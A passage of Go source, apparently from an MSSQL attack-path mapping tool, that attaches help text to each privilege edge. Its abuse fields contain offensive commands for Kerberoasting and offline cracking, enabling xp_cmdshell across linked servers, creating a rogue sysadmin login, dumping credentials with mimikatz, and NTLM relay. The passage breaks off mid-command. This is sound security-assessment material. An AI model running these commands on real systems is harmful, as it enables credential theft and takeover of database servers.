EdgeKinds.AlterAnyServerRole, + EdgeKinds.AlterAnyAppRole, + EdgeKinds.AlterAnyDBRole, + EdgeKinds.Connect, + EdgeKinds.ConnectAnyDatabase, + EdgeKinds.TakeOwnership, + EdgeKinds.HasDBScopedCred, + EdgeKinds.HasMappedCred, + EdgeKinds.HasProxyCred, + EdgeKinds.AlterDB, + EdgeKinds.AlterDBRole, + EdgeKinds.AlterServerRole, + EdgeKinds.ImpersonateDBUser, + EdgeKinds.ImpersonateLogin, + EdgeKinds.LinkedTo, + EdgeKinds.IsTrustedBy, + EdgeKinds.ServiceAccountFor: + return false + default: + return true + } +} + +// edgePropertyGenerators maps edge kinds to their property generators +var edgePropertyGenerators = map[string]func(*EdgeContext) EdgeProperties{ + + EdgeKinds.MemberOf: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " is a member of the " + ctx.TargetType + ". This membership grants all permissions associated with the target role to the source principal.", + WindowsAbuse: "When connected to the server/database as " + ctx.SourceName + ", you have all permissions granted to the " + ctx.TargetName + " role.", + LinuxAbuse: "When connected to the server/database as " + ctx.SourceName + ", you have all permissions granted to the " + ctx.TargetName + " role.", + Opsec: `Role membership is a static relationship. Actions performed using role permissions are logged based on the specific operation, not the role membership itself. +To view current role memberships at server level: + SELECT r.name AS RoleName, m.name AS MemberName + FROM sys.server_role_members rm + JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id + JOIN sys.server_principals m ON rm.member_principal_id = m.principal_id + ORDER BY r.name, m.name; +To view current role memberships at database level: + SELECT r.name AS RoleName, m.name AS MemberName + FROM sys.database_role_members rm + JOIN sys.database_principals r ON rm.role_principal_id = r.principal_id + JOIN sys.database_principals m ON rm.member_principal_id = m.principal_id + ORDER BY r.name, m.name;`, + References: `- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles +- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/database-level-roles +- https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-server-role-members-transact-sql +- https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-role-members-transact-sql`, + } + }, + + EdgeKinds.IsMappedTo: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " is mapped to this " + ctx.TargetType + " in the " + ctx.DatabaseName + " database. When connected as the login, the user automatically has database access.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and switch to the " + ctx.DatabaseName + " database to act as the database user.", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and switch to the " + ctx.DatabaseName + " database to act as the database user.", + Opsec: "Login to database user mappings are standard SQL Server behavior. Switching databases is normal activity.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/create-a-database-user", + } + }, + + EdgeKinds.Contains: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " contains the " + ctx.TargetType + ".", + WindowsAbuse: "This is a containment relationship showing hierarchy.", + LinuxAbuse: "This is a containment relationship showing hierarchy.", + Opsec: "N/A - this is an informational edge showing object hierarchy.", + References: "", + } + }, + + EdgeKinds.Owns: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " owns the " + ctx.TargetType + ". Ownership provides full control over the object, including the ability to grant permissions, change properties, and in most cases, impersonate or control access.", + WindowsAbuse: "As the owner of " + ctx.TargetName + ", connect to " + ctx.SQLServerName + " and exercise full control over the owned object.", + LinuxAbuse: "As the owner of " + ctx.TargetName + ", connect to " + ctx.SQLServerName + " and exercise full control over the owned object.", + Opsec: "Ownership changes are logged in SQL Server. Actions taken as owner are logged based on the specific operation.", + References: `- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/ownership-and-user-schema-separation-in-sql-server`, + } + }, + + EdgeKinds.ControlServer: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " has CONTROL SERVER permission on the SQL Server, granting full administrative control equivalent to sysadmin.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute any administrative command. You can create logins, modify permissions, and access all databases.", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute any administrative command. You can create logins, modify permissions, and access all databases.", + Opsec: "CONTROL SERVER grants sysadmin-equivalent permissions. All administrative actions are logged. Consider using more targeted permissions if possible.", + References: `- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine +- https://learn.microsoft.com/en-us/sql/t-sql/statements/grant-server-permissions-transact-sql`, + } + }, + + EdgeKinds.ControlDB: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " has CONTROL permission on the " + ctx.DatabaseName + " database, granting full administrative control equivalent to db_owner.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to the " + ctx.DatabaseName + " database, and execute any administrative command within the database scope.", + LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to the " + ctx.DatabaseName + " database, and execute any administrative command within the database scope.", + Opsec: "CONTROL on database grants db_owner-equivalent permissions within the database. All database administrative actions are logged.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine", + } + }, + + EdgeKinds.Impersonate: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, // Non-traversable (matches PowerShell); MSSQL_ExecuteAs is the traversable counterpart + General: "The " + ctx.SourceType + " can impersonate the " + ctx.TargetType + ", executing commands with the target's permissions.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the target login.", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the target login.", + Opsec: `Impersonation is logged in SQL Server audit logs. To check current execution context: + SELECT SYSTEM_USER, USER_NAME(), ORIGINAL_LOGIN(); +To revert impersonation: + REVERT;`, + References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql +- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/impersonate-a-user`, + } + }, + + EdgeKinds.ImpersonateAnyLogin: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " has IMPERSONATE ANY LOGIN permission, allowing impersonation of any server login.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: EXECUTE AS LOGIN = ''; to impersonate any login on the server.", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: EXECUTE AS LOGIN = ''; to impersonate any login on the server.", + Opsec: "IMPERSONATE ANY LOGIN is a powerful permission. All impersonation attempts are logged in the SQL Server audit log.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/grant-server-permissions-transact-sql", + } + }, + + EdgeKinds.ChangePassword: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " can change the password of the " + ctx.TargetType + " without knowing the current password.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER LOGIN [" + ctx.TargetName + "] WITH PASSWORD = 'NewPassword123!';", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER LOGIN [" + ctx.TargetName + "] WITH PASSWORD = 'NewPassword123!';", + Opsec: `Password changes are logged in SQL Server audit logs and Windows Security event log. Event IDs: +- SQL Server: Audit Login Change Password Event +- Windows: 4724 (An attempt was made to reset an account's password)`, + References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-login-transact-sql +- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49758`, + } + }, + + EdgeKinds.AddMember: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " can add members to the " + ctx.TargetType + ", granting the new member the permissions assigned to the role.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [target_login]; or sp_addsrvrolemember for server roles, or ALTER ROLE/sp_addrolemember for database roles.", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [target_login]; or sp_addsrvrolemember for server roles, or ALTER ROLE/sp_addrolemember for database roles.", + Opsec: "Role membership changes are logged in SQL Server audit logs. Adding members to privileged roles like sysadmin or db_owner generates high-visibility events.", + References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-server-role-transact-sql +- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-role-transact-sql`, + } + }, + + EdgeKinds.Alter: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, // Non-traversable by default + General: "The " + ctx.SourceType + " has ALTER permission on the " + ctx.TargetType + ".", + WindowsAbuse: "ALTER permission allows modifying the target object's properties but may not grant full control.", + LinuxAbuse: "ALTER permission allows modifying the target object's properties but may not grant full control.", + Opsec: "ALTER operations are logged in SQL Server audit logs.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine", + } + }, + + EdgeKinds.Control: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, // Non-traversable by default + General: "The " + ctx.SourceType + " has CONTROL permission on the " + ctx.TargetType + ".", + WindowsAbuse: "CONTROL permission grants ownership-like permissions on the target object.", + LinuxAbuse: "CONTROL permission grants ownership-like permissions on the target object.", + Opsec: "CONTROL operations are logged in SQL Server audit logs.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine", + } + }, + + EdgeKinds.ChangeOwner: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " can take ownership of the " + ctx.TargetType + " via TAKE OWNERSHIP permission.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER AUTHORIZATION ON [" + ctx.TargetName + "] TO [" + ctx.SourceName + "];", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER AUTHORIZATION ON [" + ctx.TargetName + "] TO [" + ctx.SourceName + "];", + Opsec: "Ownership changes are logged in SQL Server audit logs.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-authorization-transact-sql", + } + }, + + EdgeKinds.AlterAnyLogin: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The " + ctx.SourceType + " has ALTER ANY LOGIN permission on the server, allowing modification of any login.", + WindowsAbuse: "This permission allows changing passwords, enabling/disabling logins, and modifying login properties for any login on the server.", + LinuxAbuse: "This permission allows changing passwords, enabling/disabling logins, and modifying login properties for any login on the server.", + Opsec: "ALTER ANY LOGIN is a sensitive permission. All login modifications are logged.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/grant-server-permissions-transact-sql", + } + }, + + EdgeKinds.AlterAnyServerRole: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The " + ctx.SourceType + " has ALTER ANY SERVER ROLE permission, allowing modification of any server role.", + WindowsAbuse: "This permission allows creating, altering, and dropping server roles, as well as adding/removing members from roles.", + LinuxAbuse: "This permission allows creating, altering, and dropping server roles, as well as adding/removing members from roles.", + Opsec: "ALTER ANY SERVER ROLE is a sensitive permission. All role modifications are logged.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/grant-server-permissions-transact-sql", + } + }, + + EdgeKinds.LinkedTo: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, // Base is non-traversable; MakeInterestingEdgesTraversable overrides to true + General: "The SQL Server has a linked server connection to " + ctx.TargetName + ", allowing queries across servers.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " and query the linked server: SELECT * FROM [" + ctx.TargetName + "].master.sys.databases; or EXEC [" + ctx.TargetName + "].master.dbo.sp_configure;", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " and query the linked server: SELECT * FROM [" + ctx.TargetName + "].master.sys.databases; or EXEC [" + ctx.TargetName + "].master.dbo.sp_configure;", + Opsec: "Linked server queries are logged on both the source and target servers. Network traffic between servers may be monitored.", + References: `- https://learn.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine +- https://www.netspi.com/blog/technical-blog/network-penetration-testing/how-to-hack-database-links-in-sql-server/`, + } + }, + + EdgeKinds.ExecuteAsOwner: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The database is TRUSTWORTHY and owned by a privileged login. Stored procedures can execute as the owner with elevated privileges.", + WindowsAbuse: "Create a stored procedure in the trustworthy database with EXECUTE AS OWNER to escalate privileges to the database owner's server-level permissions.", + LinuxAbuse: "Create a stored procedure in the trustworthy database with EXECUTE AS OWNER to escalate privileges to the database owner's server-level permissions.", + Opsec: "Stored procedure creation and execution are logged. TRUSTWORTHY databases are a known security risk.", + References: `- https://learn.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property +- https://www.netspi.com/blog/technical-blog/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/`, + } + }, + + EdgeKinds.IsTrustedBy: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, // Base is non-traversable; MakeInterestingEdgesTraversable overrides to true + General: "The database has the TRUSTWORTHY property enabled, which allows stored procedures to access resources outside the database.", + WindowsAbuse: "Code executing in this database can access server-level resources if the database owner has appropriate permissions.", + LinuxAbuse: "Code executing in this database can access server-level resources if the database owner has appropriate permissions.", + Opsec: "TRUSTWORTHY is a security setting that should be disabled unless required. Its status can be queried from sys.databases.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property", + } + }, + + EdgeKinds.ServiceAccountFor: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, // Base is non-traversable; MakeInterestingEdgesTraversable overrides to true + General: "The " + ctx.SourceType + " is the service account running the SQL Server service for " + ctx.TargetName + ".", + WindowsAbuse: "Compromise of the service account grants access to the SQL Server process and potentially to stored credentials and data.", + LinuxAbuse: "Compromise of the service account grants access to the SQL Server process and potentially to stored credentials and data.", + Opsec: "Service account changes require restarting the SQL Server service.", + References: "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-service-accounts-and-permissions", + } + }, + + EdgeKinds.HostFor: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The computer hosts the SQL Server instance.", + WindowsAbuse: "Administrative access to the host computer provides access to the SQL Server process, data files, and potentially stored credentials.", + LinuxAbuse: "Administrative access to the host computer provides access to the SQL Server process, data files, and potentially stored credentials.", + Opsec: "Host-level access bypasses SQL Server authentication logging.", + References: "", + } + }, + + EdgeKinds.ExecuteOnHost: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The SQL Server can execute commands on the host computer through xp_cmdshell or other mechanisms.", + WindowsAbuse: "If xp_cmdshell is enabled, execute: EXEC xp_cmdshell 'whoami'; to run OS commands as the SQL Server service account.", + LinuxAbuse: "If xp_cmdshell is enabled, execute: EXEC xp_cmdshell 'whoami'; to run OS commands as the SQL Server service account.", + Opsec: "xp_cmdshell execution is logged if enabled. Process creation on the host is logged by the OS.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql", + } + }, + + EdgeKinds.GrantAnyPermission: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " can grant ANY server permission to any login (securityadmin role capability).", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and grant elevated permissions: GRANT CONTROL SERVER TO [target_login];", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and grant elevated permissions: GRANT CONTROL SERVER TO [target_login];", + Opsec: "Permission grants are logged in SQL Server audit logs. Granting high-privilege permissions generates security alerts in monitored environments.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles", + } + }, + + EdgeKinds.GrantAnyDBPermission: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " can grant ANY database permission to any user (db_securityadmin role capability).", + WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to the database, and grant elevated permissions: GRANT CONTROL TO [target_user];", + LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to the database, and grant elevated permissions: GRANT CONTROL TO [target_user];", + Opsec: "Permission grants are logged in SQL Server audit logs.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/database-level-roles", + } + }, + + EdgeKinds.Connect: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The " + ctx.SourceType + " has CONNECT SQL permission, allowing it to connect to the SQL Server.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " using sqlcmd, SQL Server Management Studio, or other SQL client tools.", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " using impacket mssqlclient.py, sqlcmd, or other SQL client tools.", + Opsec: `SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. +Log events are generated by default for failed login attempts and can be viewed by executing EXEC sp_readerrorlog 0, 1, 'Login';), but successful login events are not logged by default.`, + References: `- https://learn.microsoft.com/en-us/sql/relational-databases/policy-based-management/server-public-permissions?view=sql-server-ver16 +- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 +- https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-database-engine?view=sql-server-ver16`, + } + }, + + EdgeKinds.ConnectAnyDatabase: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The " + ctx.SourceType + " has CONNECT ANY DATABASE permission, allowing it to connect to any database on the SQL Server.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and access any database without needing explicit database user mappings.", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and access any database without needing explicit database user mappings.", + Opsec: "Database access is logged if auditing is enabled. This permission bypasses normal database user mapping requirements.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/grant-server-permissions-transact-sql", + } + }, + + EdgeKinds.AlterAnyAppRole: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage. The ALTER ANY APPLICATION ROLE permission on a database allows the source " + ctx.SourceType + " to change the password for an application role, activate the application role with the new password, and execute actions with the application role's permissions.", + WindowsAbuse: "WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage.", + LinuxAbuse: "WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage.", + Opsec: "This attack should not be performed as it will cause an immediate outage for the application using this role.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/application-roles?view=sql-server-ver17", + } + }, + + EdgeKinds.AlterAnyDBRole: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The " + ctx.SourceType + " has ALTER ANY ROLE permission on the database, allowing it to create, alter, or drop any user-defined database role and add or remove members from roles.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to the " + ctx.DatabaseName + " database, and create/modify roles: CREATE ROLE [attacker_role]; ALTER ROLE [db_owner] ADD MEMBER [attacker_user];", + LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to the " + ctx.DatabaseName + " database, and create/modify roles: CREATE ROLE [attacker_role]; ALTER ROLE [db_owner] ADD MEMBER [attacker_user];", + Opsec: "Role modifications are logged in SQL Server audit logs. Adding members to privileged roles generates security events.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-role-transact-sql", + } + }, + + EdgeKinds.HasDBScopedCred: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The database contains a database-scoped credential that authenticates as the target domain account when accessing external resources. There is no guarantee the credentials are currently valid. Unlike server-level credentials, these are contained within the database and portable with database backups.", + WindowsAbuse: "The credential could be crackable if it has a weak password and is used automatically when accessing external data sources from this database. Specific abuse for database-scoped credentials requires further research.", + LinuxAbuse: "The credential is used automatically when accessing external data sources from this database. Specific abuse for database-scoped credentials requires further research.", + Opsec: "Database-scoped credential usage is logged when accessing external resources. These credentials are included in database backups, making them portable. The credential secret is encrypted and cannot be retrieved directly.", + References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/create-database-scoped-credential-transact-sql +- https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/`, + } + }, + + EdgeKinds.HasMappedCred: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The SQL login has a credential mapped via ALTER LOGIN ... WITH CREDENTIAL. This credential is used automatically when the login accesses certain external resources. There is no guarantee the credentials are currently valid.", + WindowsAbuse: "The credential could be crackable if it has a weak password and is used automatically when the login accesses certain external resources. The credential can be abused through SQL Agent jobs using proxy accounts.", + LinuxAbuse: "The credential could be crackable if it has a weak password and is used automatically when the login accesses certain external resources.", + Opsec: "Credential usage is logged when accessing external resources. The actual credential password is encrypted and cannot be retrieved. Credential mapping changes are not logged in the default trace.", + References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/create-credential-transact-sql +- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/credentials-database-engine +- https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/`, + } + }, + + EdgeKinds.HasProxyCred: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The SQL principal is authorized to use a SQL Agent proxy account that runs job steps as a domain account. There is no guarantee the credentials are currently valid.", + WindowsAbuse: `Create and execute a SQL Agent job using the proxy: + EXEC msdb.dbo.sp_add_job @job_name = 'ProxyTest'; + EXEC msdb.dbo.sp_add_jobstep + @job_name = 'ProxyTest', + @step_name = 'Step1', + @subsystem = 'CmdExec', + @command = 'whoami > C:\temp\proxy_user.txt', + @proxy_name = 'ProxyName'; + EXEC msdb.dbo.sp_start_job @job_name = 'ProxyTest';`, + LinuxAbuse: `Create and execute a SQL Agent job using the proxy: + EXEC msdb.dbo.sp_add_job @job_name = 'ProxyTest'; + EXEC msdb.dbo.sp_add_jobstep + @job_name = 'ProxyTest', + @step_name = 'Step1', + @subsystem = 'CmdExec', + @command = 'whoami', + @proxy_name = 'ProxyName'; + EXEC msdb.dbo.sp_start_job @job_name = 'ProxyTest';`, + Opsec: "SQL Agent job execution is logged in msdb job history tables and Windows Application event log.", + References: `- https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-sql-server-agent-proxy +- https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/`, + } + }, + + EdgeKinds.ServiceAccountFor: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, // Base is non-traversable; MakeInterestingEdgesTraversable overrides to true + General: "The domain account is the service account running the SQL Server instance. This account has full control over the SQL Server and can access data in all databases.", + WindowsAbuse: `From a domain-joined machine as the service account (or with valid credentials): + - If xp_cmdshell is enabled, execute OS commands as the service account + - Access all databases and data without restrictions + - If the SQL instance is running as a domain account, the cleartext credentials can be dumped from LSA secrets with mimikatz sekurlsa::logonpasswords`, + LinuxAbuse: `From a Linux machine with valid credentials: + - Connect to SQL Server using impacket mssqlclient.py + - Access all databases and data without restrictions + - Use the service account for lateral movement in the domain`, + Opsec: "Service account access is logged like any other connection. Actions performed as sysadmin are logged in SQL Server audit logs.", + References: `- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-service-accounts-and-permissions +- https://www.netspi.com/blog/technical-blog/network-pentesting/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/`, + } + }, + + EdgeKinds.HasLogin: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The domain account has a SQL Server login that is enabled and can connect to the SQL Server. This allows authentication to SQL Server using the account's credentials.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " using Windows authentication as the domain account. Use sqlcmd, SQL Server Management Studio, or other SQL client tools.", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " using Kerberos authentication with the domain account. Use impacket mssqlclient.py with the -k flag for Kerberos.", + Opsec: "SQL Server login connections are logged if login auditing is enabled. Failed logins are always logged by default.", + References: `- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/create-a-login +- https://learn.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode`, + } + }, + + EdgeKinds.GetTGS: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The service account has an SPN registered for the MSSQL service. Any authenticated domain user can request a TGS (Kerberos service ticket) for this SPN, which can be used for Kerberoasting attacks if the service account has a weak password.", + WindowsAbuse: `Request a TGS and attempt to crack the service account password: + # Using Rubeus + Rubeus.exe kerberoast /spn:MSSQLSvc/server.domain.com:1433 + + # Using PowerView + Get-DomainSPNTicket -SPN "MSSQLSvc/server.domain.com:1433" + + Then crack the ticket offline with hashcat or john.`, + LinuxAbuse: `Request a TGS and attempt to crack the service account password: + # Using impacket + GetUserSPNs.py domain.com/user:password -request -outputfile hashes.txt + + Then crack the ticket offline with hashcat: + hashcat -m 13100 hashes.txt wordlist.txt`, + Opsec: "TGS requests are logged in Windows Event Log 4769 (Kerberos Service Ticket Operations). Multiple TGS requests for SQL SPNs may indicate Kerberoasting.", + References: `- https://www.netspi.com/blog/technical-blog/network-pentesting/extracting-service-account-passwords-with-kerberoasting/ +- https://attack.mitre.org/techniques/T1558/003/`, + } + }, + + EdgeKinds.GetAdminTGS: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The service account has an SPN registered and runs the SQL Server with administrative privileges (sysadmin). Compromising this service account grants full control over the SQL Server instance.", + WindowsAbuse: `Request a TGS and attempt to crack the service account password: + # Using Rubeus + Rubeus.exe kerberoast /spn:MSSQLSvc/server.domain.com:1433 + + After cracking the password, connect to SQL Server as sysadmin.`, + LinuxAbuse: `Request a TGS and attempt to crack the service account password: + # Using impacket + GetUserSPNs.py domain.com/user:password -request -outputfile hashes.txt + + After cracking the password, connect to SQL Server using impacket mssqlclient.py with sysadmin privileges.`, + Opsec: "TGS requests are logged in Windows Event Log 4769. This is a high-value target as it provides admin access to the SQL Server.", + References: `- https://www.netspi.com/blog/technical-blog/network-pentesting/extracting-service-account-passwords-with-kerberoasting/ +- https://attack.mitre.org/techniques/T1558/003/`, + } + }, + + EdgeKinds.LinkedAsAdmin: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The source SQL Server has a linked server connection to the target SQL Server where the remote login has sysadmin, securityadmin, CONTROL SERVER, or IMPERSONATE ANY LOGIN privileges. This enables full administrative control of the remote SQL Server through linked server queries.", + WindowsAbuse: `Execute commands on the remote server with admin privileges: + -- Enable xp_cmdshell on the remote server + EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LinkedServerName]; + EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LinkedServerName]; + EXEC ('xp_cmdshell ''whoami'';') AT [LinkedServerName]; + + -- Or create a new sysadmin login + EXEC ('CREATE LOGIN [attacker] WITH PASSWORD = ''P@ssw0rd!'';') AT [LinkedServerName]; + EXEC ('ALTER SERVER ROLE [sysadmin] ADD MEMBER [attacker];') AT [LinkedServerName];`, + LinuxAbuse: `Execute commands on the remote server with admin privileges: + -- Connect using impacket mssqlclient.py + -- Then execute linked server queries: + EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LinkedServerName]; + EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LinkedServerName]; + EXEC ('xp_cmdshell ''id'';') AT [LinkedServerName];`, + Opsec: `Linked server queries are logged on both source and target servers. Administrative actions on the remote server are logged as coming from the linked server login. +The target server must have mixed mode authentication enabled for this attack to work with SQL logins.`, + References: `- https://learn.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine +- https://www.netspi.com/blog/technical-blog/network-penetration-testing/how-to-hack-database-links-in-sql-server/`, + } + }, + + EdgeKinds.CoerceAndRelayTo: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The SQL Server has Extended Protection (EPA) disabled and has a login for a computer account. This allows NTLM relay attacks where any authenticated user can coerce the computer to authenticate to the SQL Server and relay that authentication to gain access as the computer's SQL login.", + WindowsAbuse: `Perform NTLM coercion and relay to the SQL Server: + # On the attacker machine, start ntlmrelayx targeting the SQL Server + ntlmrelayx.py -t mssql://sql.domain.com -smb2support + + # Coerce the victim computer to authenticate using PetitPotam, Coercer, or similar + python3 Coercer.py -u user -p password -d 